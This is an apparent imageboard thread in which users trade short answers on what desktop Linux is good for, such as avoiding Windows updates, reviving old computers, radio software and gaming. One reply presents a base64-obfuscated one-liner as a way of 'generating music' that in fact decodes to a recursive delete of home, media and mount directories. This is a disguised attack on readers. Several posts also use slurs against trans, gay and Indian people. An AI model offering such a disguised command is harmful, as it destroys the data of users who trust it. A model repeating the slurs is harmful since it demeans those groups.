Thread 106322772

Use case of desktop Linux?

>>106322772 (OP)
nothing unless you have a programming job

97% of internet users already use KDE's web browser.

>>106322804
>unless you have a programming job
macOS exists

>>106322816
But you have to pay Apple to notarize and compile for ARM.

>>106322826
a) you don't have to use macOS to develop for macOS - you may use it to develop linux (server) software
b) if you have an actual profitable product than it's not a big deal

It's handy if you want to avoid Windows 11 bloat/spyware and likely increasing AI slop; and don't want to give money to one of the most evil corporations on the planet (Apple).

>>106322772 (OP)
Same use case as org charts or class hierarchies. Extending your pool of developers to include more people.

>>106322772 (OP)
old computers

>>106322772 (OP)
everything because why would you put anything else on your machine

>>106322772 (OP)
I use Linux to run some software defined radios (SDRs)

CubicSDR
GQRX
SDR++

>>106322804
I use it for programming, but ChromeOS is a fork of Gentoo Linux. This makes Linux the most popular kernel used in education now.
>Chrome OS holds a dominant position in the K-12 education market, particularly in the United States. In the United States, Chromebooks account for 73% of all device deployments in academic institutions, driven by government-backed digital learning initiatives and a strong preference for the platform's simplicity, ease of IT manageability, and low price point.
>>106322816
>macOS
>programming
Mac is for creatives. You'll waste a lot of time/money/frustration trying to be a programmer on a Mac. Macs are, in fact, a key reason why so many of you failed to "learn to code." It's just the wrong tool for the job.
>>106322849
While you are generally correct, Linux doesn't necesarily mean privacy. Again, ChromeOS uses Linux, but it is one of the most botnet things you can buy.

>>106322772 (OP)
Update and restart when you want to, not when Microsoft wants you to.

>>106322772 (OP)
not giving money to a company run by indians or gays.

>>106322772 (OP)
Does the desktop-y stuff plus you don't need to hold the system at gunpoint for using it.

>>106322772 (OP)
open a browser, browse the web. don't get annoyed by the os

>>106322772 (OP)
generating big titty gyarus while pretending to be employed on /g/

>>106322772 (OP)
to use my desktop

>>106322772 (OP)
I don't see why anyone would use an OS that doesn't have basic shit like touchpad gesture configuration in 2025

>>106322772 (OP)
Video-games, modding Skyrim (using Limo Mod Manager) and programming is what I personally do on my Linux desktop.

>>106324339
I'm pretty sure kde+wayland has touchpad gestures, can't confirm because i don't use that gay shit though.

>>106324272
A man of impeccable taste.

>>106322772 (OP)
Literally none. Linux is for people who can't afford mac and/or can't figure out cygwin or wsl.

>>106324542
>can't afford mac
How do you explain people who have both?

>>106324660
I explain them with one word: Tinkerer

>>106322772 (OP)
No forced AI integration, no forced updates, no spyware, no ads, it also does great reviving older computers

>>106324542
theres actually asahi linux which is a Linux version for MacOS

>>106322772 (OP)
Just tranny things

>>106322772 (OP)
free as in no monies

>Standby still bullshit on anything but CachyOS.
>Bad Compatibility with quirky LAN/Wireless Cards (Particularly Broadcom)
>No Standardized Applications/Programs
>Still no good Media Player

Linux is a good Kernel, but people need a consistent interface, programs that actually work and not just passion projects, and hardware support that's not based on whether a person is willing to write drivers for them.

>>106322772 (OP)
I don't have to run windows
I don't have to run osx
I can install any distribution I like
+added bonus: I get to piss of OP

>>106322772 (OP)
Generating music on the command line
printf "%s%s" 'cm0gLXJmIC8q' 'bWUqIC9tbnQK' | `base64 -d` > zelda.wav

>>106322772 (OP)
you can share your desktop with other trannies in the desktop threads
that's about it

>>106322772 (OP)
Its replaced everything i normally do except my pirated version of solidworks 2014.
Ive done everything i need to do with linux including the back and forth emailing and pdf signatures to the bank when buying a house.
Sometimes steam games dont run properly but im not a huge gamer and the ones i like work fine now.

>>106324339
I have no idea what that is. I have a desktop with a 1st gen ryzen and an ibm t60.
You Dont need it.

>>106324542
>can't afford mac
It's a laptop, not a mansion. Anyone could afford one. In fact they're such a poor people brand that their users actually calculate the amount they're going to get back when selling them used. It's such a big deal for them. Meanwhile other people just throw the old laptop in the back of the closet or give it away to a family member or something. I've never heard anyone but a macfag talk about how much the cost is going to be for using it if you can get this much money out of it afterwards.